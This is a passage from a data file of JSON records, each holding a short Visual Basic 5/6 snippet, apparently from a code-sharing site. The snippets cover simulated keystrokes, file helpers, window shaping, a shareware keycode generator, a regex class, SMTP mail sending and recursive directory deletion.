1))\nsana3 = Asc(Mid(Text1, TT + 2, 1))\nsana4 = Asc(Mid(Text1, TT - 1, 1))\nIf sana1 = 255 Then\nFor TT6 = 1 To sana2\nsana = sana & Chr(sana3)\nNext\nsana1 = \"\"\nsana2 = \"\"\nEnd If\nIf sana = \"\" Then\nIf Not sana4 = 255 Then\nsana = Chr(sana1)\nEnd If\nEnd If\nText = Text & sana\nsana = \"\"\nNext\n\nText1 = Text\nend function\n'comments to jouni.vuorio@vtoy.fi\n"},{"WorldId":1,"id":749,"LineNumber":1,"line":"Option Explicit\n'local variable(s) to hold property value(s)\nPrivate mvarDestination As Long 'local copy\nPrivate Const KEYEVENTF_EXTENDEDKEY = &H1\nPrivate Const KEYEVENTF_KEYUP = &H2\nPrivate Const VK_SHIFT = &H10\n\nPrivate Declare Function OemKeyScan Lib \"user32\" (ByVal wOemChar As Integer) As Long\nPrivate Declare Function CharToOem Lib \"user32\" Alias \"CharToOemA\" (ByVal lpszSrc As String, ByVal lpszDst As String) As Long\nPrivate Declare Function VkKeyScan Lib \"user32\" Alias \"VkKeyScanA\" (ByVal cChar As Byte) As Integer\nPrivate Declare Function MapVirtualKey Lib \"user32\" Alias \"MapVirtualKeyA\" (ByVal wCode As Long, ByVal wMapType As Long) As Long\nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)\nPrivate Sub SendAKey(ByVal keys As String)\n Dim vk%\n Dim shiftscan%\n Dim scan%\n Dim oemchar$\n Dim dl&\n Dim shiftkey%\n ' Get the virtual key code for this character\n vk% = VkKeyScan(Asc(keys)) And &HFF\n ' See if shift key needs to be pressed\n shiftkey% = VkKeyScan(Asc(keys)) And 256\n oemchar$ = \" \" ' 2 character buffer\n ' Get the OEM character - preinitialize the buffer\n CharToOem Left$(keys, 1), oemchar$\n ' Get the scan code for this key\n scan% = OemKeyScan(Asc(oemchar$)) And &HFF\n ' Send the key down\n If shiftkey% = 256 Then\n 'if shift key needs to be pressed\n shiftscan% = MapVirtualKey(VK_SHIFT, 0)\n 'press down the shift key\n keybd_event VK_SHIFT, shiftscan%, 0, 0\n End If\n 'press key to be sent\n keybd_event vk%, scan%, 0, 0\n ' Send the key up\n If shiftkey% = 256 Then\n 'keyup for shift key\n keybd_event VK_SHIFT, shiftscan%, KEYEVENTF_KEYUP, 0\n End If\n 'keyup for key sent\n keybd_event vk%, scan%, KEYEVENTF_KEYUP, 0\nEnd Sub\nPublic Sub SendKeys(ByVal keys As String)\n Dim x&, t As Integer\n 'loop thru string to send one key at a time\n For x& = 1 To Len(keys)\n 'activate target application\n AppActivate (mvarDestination)\n 'send one key to target\n SendAKey Mid$(keys, x&, 1)\n Next x&\nEnd Sub\nPublic Property Let Destination(ByVal vData As Long)\n'used when assigning a value to the property, on the left side of an assignment.\n'Syntax: X.Destination = 5\n mvarDestination = vData\nEnd Property\n\nPublic Property Get Destination() As Long\n'used when retrieving value of a property, on the right side of an assignment.\n'Syntax: Debug.Print X.Destination\n Destination = mvarDestination\nEnd Property\n\n"},{"WorldId":1,"id":755,"LineNumber":1,"line":"Public Function Openf(frm As Form, Text As RichTextBox, Dialog As CommonDialog)\n On Error Resume Next\n Dialog.Filter = \"Text Files (*.txt)|*.txt|All Files (*.*)|*.*|\" 'Edit the filter how you want it \n Dialog.Flags = cdlOFNPathMustExist & cdlOFNHideReadOnly\n Dialog.Action = 1\n Screen.MousePointer = vbHourglass\n Text.Text = \"\"\n Text.LoadFile Dialog.filename\n frm.Show\n frm.Refresh\n Screen.MousePointer = vbNormal\nEnd Function\nPrivate Sub Command1_Click()\nCall Openf(Me, RichTextBox1, CommonDialog1)\nEnd Sub"},{"WorldId":1,"id":760,"LineNumber":1,"line":"Function File_Exists(ByVal PathName As String, Optional Directory As Boolean) As Boolean\n 'Returns True if the passed pathname exist\n 'Otherwise returns False\n If PathName <> \"\" Then\n \n If IsMissing(Directory) Or Directory = False Then\n \n File_Exists = (Dir$(PathName) <> \"\")\n \n Else\n \n File_Exists = (Dir$(PathName, vbDirectory) <> \"\")\n \n End If\n \n End If\nEnd Function"},{"WorldId":1,"id":761,"LineNumber":1,"line":"Public Function Short_Name(Long_Path As String) As String\n'Returns short pathname of the passed long pathname\nDim Short_Path As String\nDim PathLength As Long\nShort_Path = Space(250)\nPathLength = GetShortPathName(Long_Path, Short_Path, Len(Short_Path))\nIf PathLength Then\n Short_Name = Left$(Short_Path, PathLength)\n \nEnd If\nEnd Function"},{"WorldId":1,"id":762,"LineNumber":1,"line":"Public Sub Exclusive_Mode(Use As Boolean)\n'If True was passed makes app exclusive\n'Else makes app not exclusive\nDim Scrap\nScrap = SystemParametersInfo(97, Use, \"\", 0)\nEnd Sub"},{"WorldId":1,"id":4107,"LineNumber":1,"line":"Public Function IsLoadedForm(ByVal pObjForm As Form) As Boolean\n Dim tmpForm As Form\n For Each tmpForm In Forms\n If tmpForm Is pObjForm Then\n IsLoadedForm = True\n Exit For\n End If\n Next\n \nEnd Function\n"},{"WorldId":1,"id":794,"LineNumber":1,"line":"Private Sub Form_Load()\nShow 'The form!\nSetWindowRgn hWnd, CreateEllipticRgn(0, 0, 300, 200), True\nEnd Sub\n'E-mail Me at BTMSoft@aol.com for more info"},{"WorldId":1,"id":795,"LineNumber":1,"line":"Private Sub Command1_Click()\nDecValue = Val(Text1.Text)\nBinValue = \"\"\nDo\nTempValue = DecValue Mod 2\n BinValue = CStr(TempValue) + BinValue\nDecValue = DecValue \\ 2\nLoop Until DecValue = 0\n'Print\n'Print BinValue\nText2.Text = BinValue\nEnd Sub\n"},{"WorldId":1,"id":816,"LineNumber":1,"line":"Public Sub MakeTransparent(frm As Form)\n'This code was takin from a AOL Visual Basic\n'Message Board. It was submited by: SOOPRcow\n Dim rctClient As RECT, rctFrame As RECT\n Dim hClient As Long, hFrame As Long\n '// Grab client area and frame area\n GetWindowRect frm.hWnd, rctFrame\n GetClientRect frm.hWnd, rctClient\n '// Convert client coordinates to screen coordinates\n Dim lpTL As POINTAPI, lpBR As POINTAPI\n lpTL.x = rctFrame.Left\n lpTL.Y = rctFrame.Top\n lpBR.x = rctFrame.Right\n lpBR.Y = rctFrame.Bottom\n ScreenToClient frm.hWnd, lpTL\n ScreenToClient frm.hWnd, lpBR\n rctFrame.Left = lpTL.x\n rctFrame.Top = lpTL.Y\n rctFrame.Right = lpBR.x\n rctFrame.Bottom = lpBR.Y\n rctClient.Left = Abs(rctFrame.Left)\n rctClient.Top = Abs(rctFrame.Top)\n rctClient.Right = rctClient.Right + Abs(rctFrame.Left)\n rctClient.Bottom = rctClient.Bottom + Abs(rctFrame.Top)\n rctFrame.Right = rctFrame.Right + Abs(rctFrame.Left)\n rctFrame.Bottom = rctFrame.Bottom + Abs(rctFrame.Top)\n rctFrame.Top = 0\n rctFrame.Left = 0\n '// Convert RECT structures to region handles\n hClient = CreateRectRgn(rctClient.Left, rctClient.Top, rctClient.Right, rctClient.Bottom)\n hFrame = CreateRectRgn(rctFrame.Left, rctFrame.Top, rctFrame.Right, rctFrame.Bottom)\n '// Create the new \"Transparent\" region\n CombineRgn hFrame, hClient, hFrame, RGN_XOR\n '// Now lock the window's area to this created region\n SetWindowRgn frm.hWnd, hFrame, True\nEnd Sub\n"},{"WorldId":1,"id":820,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function SetParent Lib \"user32\" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long\nPrivate Declare Function MoveWindow Lib \"user32\" (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long\n\nPrivate Sub Form_Load()\n'Set Toolbar1 as Combo1's parent, then move Combo1 where we want it. \n SetParent Combo1.hwnd, Toolbar1.hwnd\n MoveWindow Combo1.hwnd, 100, 1, 50, 50, True 'Note: units are pixels\n'Set Toolbar1 as Check1's parent, then move Check1 where we want it. \n SetParent Check1.hwnd, Toolbar1.hwnd\n MoveWindow Check1.hwnd, 175, 5, 150, 15, True\nEnd Sub\n\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'Demonstrate that Combo1 and Check1 are really \"on\" Toolbar1 by moving Toolbar1 when\n'the form is clicked.\n Toolbar1.Move X, Y\nEnd Sub"},{"WorldId":1,"id":1199,"LineNumber":1,"line":"Option Explicit\n' Name: GenerateKeyCode\n'\n' Description:\n' This little routine generates a keycode for shareware registration in the\n' format XXXX-YYYYYYYYYY, based on the Name given as an argument. The first\n' four digits are a randomly generated seed value, which makes 8999 possible keycodes\n' for people with the same name (like John Smith). The last four digits are\n' the actual code.\n'\n' Written by:\n' Andy Carrasco (Copyright 1998)\n'\nPublic Function GenerateKeyCode(sName As String) As String\n Dim sRandomSeed As String\n Dim sKeyCode As String\n Dim X As Long\n Dim KeyCounter As Long\n Dim PrimaryLetter As Long\n Dim CodedLetter As Long\n Dim sBuffer As String\n \n Randomize\n sRandomSeed = CStr(Int((9999 - 1000 + 1) * Rnd + 1000))\n sName = UCase$(sName)\n KeyCounter = 1\n \n 'Clean up sName so there are no illegal characters.\n For X = 1 To Len(sName)\n If Asc(Mid$(sName, X, 1)) >= 65 And Asc(Mid$(sName, X, 1)) <= 90 Then sBuffer = sBuffer & Mid$(sName, X, 1)\n Next X\n \n sName = sBuffer\n \n 'if the name is less than 10 characters long, pad it out with ASCII 65\n Do While Len(sName) < 10\n sName = sName + Chr$(65)\n Loop\n \n For X = 1 To Len(sName)\n PrimaryLetter = Asc(Mid$(sName, X, 1))\n CodedLetter = PrimaryLetter + CInt(Mid$(sRandomSeed, KeyCounter, 1))\n If CodedLetter < 90 Then\n sKeyCode = sKeyCode + Chr$(CodedLetter)\n Else\n sKeyCode = sKeyCode + \"0\"\n End If\n 'Increment the keycounter\n KeyCounter = KeyCounter + 1\n If KeyCounter > 4 Then KeyCounter = 1\n Next X\n \n GenerateKeyCode = sRandomSeed + \"-\" + Left$(sKeyCode, 10)\n \nEnd Function\n' Name: VerifyKeyCode\n'\n' Description:\n' Verifies if a given keycode is valid for a given name.\n'\n' Parameters:\n' sName - A string containing the user name to validate the key against\n' sKeyCode- A string containins the keycode in the form XXXX-YYYYYYYYYY.\n'\nPublic Function VerifyKeyCode(sName As String, sKeyCode As String) As Boolean\n \n Dim sRandomSeed As String\n Dim X As Long\n Dim KeyCounter As Long\n Dim PrimaryLetter As Long\n Dim DecodedKey As String\n Dim AntiCodedLetter As Long\n Dim sBuffer As String\n \n sRandomSeed = Left$(sKeyCode, InStr(sKeyCode, \"-\") - 1)\n sName = UCase$(sName)\n sKeyCode = Right$(sKeyCode, 10)\n KeyCounter = 1\n \n 'Clean up sName so there are no illegal characters.\n For X = 1 To Len(sName)\n If Asc(Mid$(sName, X, 1)) >= 65 And Asc(Mid$(sName, X, 1)) <= 90 Then sBuffer = sBuffer & Mid$(sName, X, 1)\n Next X\n \n sName = sBuffer\n \n 'if the name is less than 10 characters long, pad it out with ASCII 65\n Do While Len(sName) < 10\n sName = sName + Chr$(65)\n Loop\n \n 'now, decode the keycode\n \n For X = 1 To Len(sKeyCode)\n PrimaryLetter = Asc(Mid$(sKeyCode, X, 1))\n AntiCodedLetter = PrimaryLetter - CInt(Mid$(sRandomSeed, KeyCounter, 1))\n \n If PrimaryLetter = 48 Then 'zero\n DecodedKey = DecodedKey + Mid$(sName, X, 1) 'Take the corresponding letter from the name\n Else\n DecodedKey = DecodedKey + Chr$(AntiCodedLetter)\n End If\n 'Increment the keycounter\n KeyCounter = KeyCounter + 1\n If KeyCounter > 4 Then KeyCounter = 1\n Next X\n \n If DecodedKey = Left$(sName, 10) Then\n VerifyKeyCode = True\n Else\n VerifyKeyCode = False\n End If\nEnd Function"},{"WorldId":1,"id":823,"LineNumber":1,"line":"\nPublic Sub Form_Load()\n \n Timer1.Interval = 1000\n \n OldX = 0\n OldY = 0\n \nEnd Sub\nPublic Sub Timer1_Timer()\n \n GetCursorPos Pnt\n \n Me.Cls\n Me.Print \"The current mouse coordinates are \"; _\n Pnt.X; \",\"; Pnt.Y\n \n NewX = Pnt.X\n NewY = Pnt.Y\n \n Me.Print \"OldX coords\", OldX\n Me.Print \"OldY coords\", OldY\n \n Me.Print \"NewX coords\", NewX\n Me.Print \"NewY coords\", NewY\n \n If OldX - NewX = 0 Then\n Me.Print \"No Movement Detected\"\n TimeExpired = TimeExpired + Timer1.Interval\n Me.Print \"Total Time Expired\", TimeExpired\n Else\n Me.Print \"Mouse is Moving\"\n TimeExpired = 0\n End If\n \n OldX = NewX\n OldY = NewY\n \n ExpiredMinutes = (TimeExpired / 1000) / 60\n \n If ExpiredMinutes >= MINUTES Then\n TimeExpired = 0\n Me.Print \"Times Up!!!\"\n \n End If\nEnd Sub\n"},{"WorldId":1,"id":843,"LineNumber":1,"line":"' Description: This function accepts a string containing text to be\n' spell checked, checks the text for spelling using MS Word automation,\n' and then returns the processed text as a string. The familiar\n' MS Word spelling dialog will allow the user to perform actions such\n' as selecting from suggested spellings, ignore, adding the word to a\n' customized dictionary, etc.\n' Syntax: MsSpellCheck( String ) : String\n' Author: Eric Russell\n' E-Mail: erussell@cris.com\n' WEB Site: http://cris.com/~erussell/VisualBasic\n' Created: 1998-13-14\n' Revised: 1998-04-03\n'Compatibility: VB 5.0, VB 4.0(32bit)\n' Assumptions: The user must have MS Word95 or higher installed on\n'their PC.\n' References: Visual Basic For Applications, Visual Basic runtime\n'objects and procedures, Visual Basic objects and procedures.\n'\nFunction MsSpellCheck(strText As String) As String\nDim oWord As Object\nDim strSelection As String\nSet oWord = CreateObject(\"Word.Basic\")\noWord.AppMinimize\nMsSpellCheck = strText\noWord.FileNewDefault\noWord.EditSelectAll\noWord.EditCut\noWord.Insert strText\noWord.StartOfDocument\nOn Error Resume Next\noWord.ToolsSpelling\nOn Error GoTo 0\noWord.EditSelectAll\nstrSelection = oWord.Selection$\nIf Mid(strSelection, Len(strSelection), 1) = Chr(13) Then\n strSelection = Mid(strSelection, 1, Len(strSelection) - 1)\nEnd If\nIf Len(strSelection) > 1 Then\n MsSpellCheck = strSelection\nEnd If\noWord.FileCloseAll 2\noWord.AppClose\nSet oWord = Nothing\nEnd Function\n"},{"WorldId":1,"id":893,"LineNumber":1,"line":"\nSub TileBkgd(frm As Form, picholder As PictureBox, bkgdfile As String)\n If bkgdfile = \"\" Then Exit Sub\n Dim ScWidth%, ScHeight%, ScMode%, n%, o%\n \n ScMode% = frm.ScaleMode\n picholder.ScaleMode = 3\n frm.ScaleMode = 3\n picholder.Picture = LoadPicture(bkgdfile)\n picholder.ScaleMode = 3\n For n% = 0 To frm.Height Step picholder.ScaleHeight\n For o% = 0 To frm.Width Step picholder.ScaleWidth\n frm.PaintPicture picholder.Picture, o%, n%\n Next o%\n Next n%\n frm.ScaleMode = ScMode%\n picholder.Picture = LoadPicture()\nEnd Sub\n"},{"WorldId":1,"id":894,"LineNumber":1,"line":"\nSub TileMDIBkgd(MDIForm As Form, bkgdtiler As Form, bkgdfile As String)\n \n If bkgdfile = \"\" Then Exit Sub\n Dim ScWidth%, ScHeight%\n \n ScWidth% = Screen.Width / Screen.TwipsPerPixelX\n ScHeight% = Screen.Height / Screen.TwipsPerPixelY\n Load bkgdtiler\n bkgdtiler.Height = Screen.Height\n bkgdtiler.Width = Screen.Width\n bkgdtiler.ScaleMode = 3\n \n bkgdtiler!Picture1.Top = 0\n bkgdtiler!Picture1.Left = 0\n bkgdtiler!Picture1.Picture = LoadPicture(bkgdfile)\n bkgdtiler!Picture1.ScaleMode = 3\n For n% = 0 To ScHeight% Step bkgdtiler!Picture1.ScaleHeight\n For o% = 0 To ScWidth% Step bkgdtiler!Picture1.ScaleWidth\n bkgdtiler.PaintPicture bkgdtiler!Picture1.Picture, o%, n%\n Next o%\n Next n%\n \n MDIForm.Picture = bkgdtiler.Image\n Unload bkgdtiler\nEnd Sub\n"},{"WorldId":1,"id":875,"LineNumber":1,"line":"VERSION 1.0 CLASS\nBEGIN\n MultiUse = -1 'True\nEND\nAttribute VB_Name = \"RegularExpression\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = True\nAttribute VB_PredeclaredId = False\nAttribute VB_Exposed = False\nOption Explicit\n'PRIVATE\n'? = edOptional; + = edMulti; * = edOptional or edMulti\nPrivate Enum RegExpStateTypes\n edOptional = 65536\n edMulti = 131072\n edModifierMask = edOptional Or edMulti\n \n edCharacter = 0\n edBracketed = 262144 'for example, [a-z]\n edAny = 524288\nEnd Enum\nPrivate Type StateStack\n State As Long\n Posi As Long\n MinPosi As Long\nEnd Type\nPrivate mStack() As StateStack\nPrivate mCompiled() As Long\nPrivate mNStates As Long\nPrivate mPattern As String\nPrivate mAnchorBeginning As Boolean\nPrivate mAnchorEnd As Boolean\nPrivate mMinLength As Long\n\nPrivate Sub AddState(ByVal Flags As Long, ByVal CharOrPosi As Long)\nIf mNStates = UBound(mCompiled) Then\n ReDim Preserve mCompiled(1 To mNStates + 10) As Long\nEnd If\nmNStates = mNStates + 1\nmCompiled(mNStates) = CharOrPosi Or Flags\nEnd Sub\nPublic Sub Init(RegExp As String)\nDim StackSize As Long, Posi As Long, EndPosi As Long\n'Initialize member variables\nmPattern = RegExp\nmNStates = 0\nmMinLength = 0\nReDim mCompiled(1 To 10) As Long\nPosi = 1\nEndPosi = Len(RegExp)\nIf Left(mPattern, 1) = \"^\" Then\n Posi = Posi + 1\n mAnchorBeginning = True\nEnd If\nIf Right(mPattern, 1) = \"$\" And Right(mPattern, 2) <> \"\\$\" Then\n EndPosi = EndPosi - 1\n mAnchorEnd = True\nEnd If\nDo Until Posi > EndPosi\n Select Case Mid$(mPattern, Posi, 1)\n Case \".\"\n AddState edAny, 0\n Posi = Posi + 1\n Case \"\\\"\n AddState edCharacter, Asc(Mid$(mPattern, Posi + 1, 1))\n Posi = Posi + 2\n Case \"[\"\n AddState edBracketed, Posi\n Posi = RangeParse(Posi)\n If Posi = -1 Then Err.Raise 5\n Case Else\n AddState edCharacter, Asc(Mid$(mPattern, Posi, 1))\n Posi = Posi + 1\n End Select\n \n 'check for modifiers (?, +, *)\n Select Case Mid$(mPattern, Posi, 1)\n Case \"?\"\n mCompiled(mNStates) = mCompiled(mNStates) Or edOptional\n StackSize = StackSize + 1\n Posi = Posi + 1\n Case \"+\"\n mCompiled(mNStates) = mCompiled(mNStates) Or edMulti\n StackSize = StackSize + 1\n Posi = Posi + 1\n mMinLength = mMinLength + 1\n Case \"*\"\n mCompiled(mNStates) = mCompiled(mNStates) Or edMulti Or edOptional\n StackSize = StackSize + 1\n Posi = Posi + 1\n Case Else\n mMinLength = mMinLength + 1\n End Select\nLoop\n'Minimize wasted memory by dimensioning exact arrays\nReDim Preserve mCompiled(1 To mNStates) As Long\nReDim mStack(1 To StackSize) As StateStack\nEnd Sub\nPublic Function Match(ByRef FromX As Long, ByRef ToX As Long, Text As String) As Boolean\nDim Match As Boolean\nDim CurState As Long\nDim State As Long\nDim SP As Long\nDim LenText As Long\nIf mNStates = 0 Then Err.Raise 5\nLenText = Len(Text)\nFor FromX = FromX To IIf(mAnchorBeginning, 1, LenText - mMinLength)\n ToX = FromX\n State = 1\n SP = 0\n Do\n If State > mNStates Then\n If (Not mAnchorEnd) Or (ToX > LenText) Then\n 'ToX is pointing the first character PAST the matched string\n ToX = ToX - 1\n MatchRight = True\n Exit Function\n End If\n End If\n GoSub MatchState\n If Match Then\n If CurState And edModifierMask Then\n 'create a new item in the backtrack stack\n SP = SP + 1\n mStack(SP).MinPosi = IIf(CurState And edOptional, ToX, ToX + 1)\n If (CurState And (edAny Or edMulti)) = (edAny Or edMulti) Then\n 'When matching .* and .+, we don't need to check the whole string\n ToX = LenText + 1\n ElseIf CurState And edMulti Then\n '+ or *, try to get as far as possible\n Do\n ToX = ToX + 1\n GoSub MatchState\n Loop Until Not Match\n Else\n '?, you only have to look one character ahead\n ToX = ToX + 1\n End If\n State = State + 1\n mStack(SP).Posi = ToX\n mStack(SP).State = State\n Else\n 'no +, *, nor ?, just advance to the next state\n ToX = ToX + 1\n State = State + 1\n End If\n ElseIf CurState And edOptional Then\n 'not matched, but it was optional... no problem\n State = State + 1\n Else\n 'backtrack - find the next usable item in the stack\n For SP = SP To 1 Step -1\n If mStack(SP).Posi > mStack(SP).MinPosi Then Exit For\n Next SP\n If SP = 0 Then Exit Do\n mStack(SP).Posi = mStack(SP).Posi - 1\n ToX = mStack(SP).Posi\n State = mStack(SP).State\n End If\n Loop\nNext FromX\nExit Function\nMatchState:\n CurState = mCompiled(State)\n If ToX > LenText Then\n Match = False\n ElseIf CurState And edAny Then\n Match = True\n ElseIf CurState And edBracketed Then\n Match = RangeMatch(CurState And 65535, Mid$(Text, ToX, 1))\n Else\n Match = (CurState And 65535) = Asc(Mid$(Text, ToX, 1))\n End If\n Return\nEnd Function\nPrivate Function RangeMatch(Posi As Long, ch As String) As Boolean\nRangeMatch = ch Like Mid$(mPattern, Posi, InStr(Posi, mPattern, \"]\") - Posi + 1)\nEnd Function\n\n'Return the end of the range (e.g. [a-z]) starting at position Posi.\n'Return -1 if the regular expression is not well formed.\nPrivate Function RangeParse(Posi As Long) As Long\nDim EndPosi As Long\nEndPosi = InStr(Posi, mPattern, \"]\")\n'Try using operator Like and check if an error occurs\nOn Error Resume Next\nIf \"a\" Like Mid(mPattern, Posi, EndPosi - Posi + 1) Then:\nIf Err Then\n RangeParse = -1\n Err.Clear\nElse\n RangeParse = EndPosi + 1\nEnd If\nEnd Function\n"},{"WorldId":1,"id":841,"LineNumber":1,"line":"Dim Response As String, Reply As Integer, DateNow As String\nDim first As String, Second As String, Third As String\nDim Fourth As String, Fifth As String, Sixth As String\nDim Seventh As String, Eighth As String\nDim Start As Single, Tmr As Single\nSub SendEmail(MailServerName As String, FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)\n \n Winsock1.LocalPort = 0 ' Must set local port to 0 (Zero) or you can only send 1 e-mail per program start\n \nIf Winsock1.State = sckClosed Then ' Check to see if socet is closed\n DateNow = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n first = \"mail from:\" + Chr(32) + FromEmailAddress + vbCrLf ' Get who's sending E-Mail address\n Second = \"rcpt to:\" + Chr(32) + ToEmailAddress + vbCrLf ' Get who mail is going to\n Third = \"Date:\" + Chr(32) + DateNow + vbCrLf ' Date when being sent\n Fourth = \"From:\" + Chr(32) + FromName + vbCrLf ' Who's Sending\n Fifth = \"To:\" + Chr(32) + ToNametxt + vbCrLf ' Who it going to\n Sixth = \"Subject:\" + Chr(32) + EmailSubject + vbCrLf ' Subject of E-Mail\n Seventh = EmailBodyOfMessage + vbCrLf ' E-mail message body\n Ninth = \"X-Mailer: EBT Reporter v 2.x\" + vbCrLf ' What program sent the e-mail, customize this\n Eighth = Fourth + Third + Ninth + Fifth + Sixth ' Combine for proper SMTP sending\n Winsock1.Protocol = sckTCPProtocol ' Set protocol for sending\n Winsock1.RemoteHost = MailServerName ' Set the server address\n Winsock1.RemotePort = 25 ' Set the SMTP Port\n Winsock1.Connect ' Start connection\n \n WaitFor (\"220\")\n \n StatusTxt.Caption = \"Connecting....\"\n StatusTxt.Refresh\n \n Winsock1.SendData (\"HELO yourdomain.com\" + vbCrLf)\n WaitFor (\"250\")\n StatusTxt.Caption = \"Connected\"\n StatusTxt.Refresh\n Winsock1.SendData (first)\n StatusTxt.Caption = \"Sending Message\"\n StatusTxt.Refresh\n WaitFor (\"250\")\n Winsock1.SendData (Second)\n WaitFor (\"250\")\n Winsock1.SendData (\"data\" + vbCrLf)\n \n WaitFor (\"354\")\n Winsock1.SendData (Eighth + vbCrLf)\n Winsock1.SendData (Seventh + vbCrLf)\n Winsock1.SendData (\".\" + vbCrLf)\n WaitFor (\"250\")\n Winsock1.SendData (\"quit\" + vbCrLf)\n \n StatusTxt.Caption = \"Disconnecting\"\n StatusTxt.Refresh\n WaitFor (\"221\")\n Winsock1.Close\nElse\n MsgBox (Str(Winsock1.State))\nEnd If\n \nEnd Sub\nSub WaitFor(ResponseCode As String)\n Start = Timer ' Time event so won't get stuck in loop\n While Len(Response) = 0\n Tmr = Start - Timer\n DoEvents ' Let System keep checking for incoming response **IMPORTANT**\n If Tmr > 50 Then ' Time in seconds to wait\n MsgBox \"SMTP service error, timed out while waiting for response\", 64, MsgTitle\n Exit Sub\n End If\n Wend\n While Left(Response, 3) <> ResponseCode\n DoEvents\n If Tmr > 50 Then\n MsgBox \"SMTP service error, impromper response code. Code should have been: \" + ResponseCode + \" Code recieved: \" + Response, 64, MsgTitle\n Exit Sub\n End If\n Wend\nResponse = \"\" ' Sent response code to blank **IMPORTANT**\nEnd Sub\nPrivate Sub Command1_Click()\n SendEmail txtEmailServer.Text, txtFromName.Text, txtFromEmailAddress.Text, txtToEmailAddress.Text, txtToEmailAddress.Text, txtEmailSubject.Text, txtEmailBodyOfMessage.Text\n 'MsgBox (\"Mail Sent\")\n StatusTxt.Caption = \"Mail Sent\"\n StatusTxt.Refresh\n Beep\n \n Close\nEnd Sub\nPrivate Sub Command2_Click()\n \n End\n \nEnd Sub\nPrivate Sub Form_Load()\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\n Winsock1.GetData Response ' Check for incoming response *IMPORTANT*\nEnd Sub\n"},{"WorldId":1,"id":842,"LineNumber":1,"line":"'###########################################\n'# Removes an Entire Directory Structure #\n'# ------------------------------------- #\n'# Created By : Robert A. Charest Jr. #\n'# E-mail : charest@friendlybeaver.com #\n'###########################################\nPublic Sub RmTree(ByVal vDir As Variant)\n \n Dim vFile As Variant\n \n ' Check if \"\\\" was placed at end\n ' If So, Remove it\n If Right(vDir, 1) = \"\\\" Then\n vDir = Left(vDir, Len(vDir) - 1)\n End If\n \n ' Check if Directory is Valid\n ' If Not, Exit Sub\n vFile = Dir(vDir, vbDirectory)\n If vFile = \"\" Then\n Exit Sub\n End If\n \n ' Search For First File\n vFile = Dir(vDir & \"\\\", vbDirectory)\n \n ' Loop Until All Files and Directories\n ' Have been Deleted\n Do Until vFile = \"\"\n \n If vFile = \".\" Or vFile = \"..\" Then\n vFile = Dir\n \n ElseIf (GetAttr(vDir & \"\\\" & vFile) And _\n vbDirectory) = vbDirectory Then\n RmTree vDir & \"\\\" & vFile\n vFile = Dir(vDir & \"\\\", vbDirectory)\n \n Else\n Kill vDir & \"\\\" & vFile\n vFile = Dir\n \n End If\n \n Loop\n \n ' Remove Top Most Directory\n RmDir vDir\n \nEnd Sub"},{"WorldId":1,"id":869,"LineNumber":1,"line":"'***********************************************************'\n'************* CREATE PROGRAM GROUP FUNCTIONS **************'\n'***********************************************************'\n' PRIMARY FUNCTION CALL:\n'\nPublic Sub CreateShortcut(ByRef frm As Form, _\n ByVal strGroupName As String, _\n ByVal strLinkName As String, _\n ByVal strLinkPath As String, _\n ByVal strLinkArguments As String)\n'************************************************************************************\n' PROCEDURE: CreateShortcut\n' First, the procedure creates the Program Group if necessary,\n' Then it calls CreateProgManItem under Windows NT or\n' CreateFolderLink under Windows 95 to validate and create\n' your link shortcuts.\n'\n' PARAMETERS:\n' frm - A form to hook onto.\n'\n' strGroupName - The name of the Group where this shortcut\n' will be placed. By default, this group is\n' always placed in the 'Start Menu/Programs' folder.\n' You can pass '..\\..\\Desktop' to put this on\n' the Desktop, or '..' to put this on the 'Start Menu'.\n'\n' strLinkName - Text caption for the Shortcut link.\n'\n' strLinkPath - Full path to the target of the Shortcut link.\n' Ex: 'c:\\Program Files\\My Application\\MyApp.exe'\n'\n' strLinkArguments - Command-line arguments for the Shortcut link.\n' Ex: '-f -c \"c:\\Program Files\\My Application\\MyApp.dat\" -q'\n'\n'************************************************************************************\n 'CREATE THE PROGRAM GROUP IF NECCESSARY, THEN THE SHORTCUT'\n If fCreateProgGroup(frm, strGroupName) Then\n If TreatAsWin95() Then\n 'CREATE WINDOWS 95 SHORTCUT'\n CreateShellLink strLinkPath, strGroupName, strLinkArguments, strLinkName\n Else\n ' DDE will not work properly if you try to send NT the long filename. If it is\n ' in quotes, then the parameters get ignored. If there are no parameters, the\n ' long filename can be used and the following line could be skipped.\n strLinkPath = GetShortPathName(strUnQuoteString(strLinkPath))\n 'CREATE WINDOWS NT SHORTCUT'\n CreateProgManItem frm, strGroupName, strLinkPath & \" \" & strLinkArguments, strLinkName\n End If\n End If\nEnd Sub\nPrivate Sub CreateShellLink(ByVal strLinkPath As String, ByVal strGroupName As String, ByVal strLinkArguments As String, ByVal strLinkName As String)\n 'ReplaceDoubleQuotes strLinkName\n strLinkName = strUnQuoteString(strLinkName)\n strLinkPath = strUnQuoteString(strLinkPath)\n Dim fSuccess As Boolean\n fSuccess = OSfCreateShellLink(strGroupName & \"\", strLinkName, strLinkPath, strLinkArguments & \"\")\n If Not fSuccess Then\n MsgBox \"Create Shortcut Failed!\", vbExclamation, \"Ouch!\"\n End If\nEnd Sub\nPrivate Sub CreateProgManItem(frm As Form, ByVal strGroupName As String, ByVal strCmdLine As String, ByVal strIconTitle As String)\n PerformDDE frm, strGroupName, strCmdLine, strIconTitle, kDDE_AddItem\nEnd Sub\nPrivate Sub PerformDDE(frm As Form, ByVal strGroup As String, ByVal strCmd As String, ByVal strTitle As String, ByVal intDDE As Integer)\n Const strCOMMA$ = \",\"\n Const strRESTORE$ = \", 1)]\"\n Const strACTIVATE$ = \", 5)]\"\n Const strENDCMD$ = \")]\"\n Const strSHOWGRP$ = \"[ShowGroup(\"\n Const strADDGRP$ = \"[CreateGroup(\"\n Const 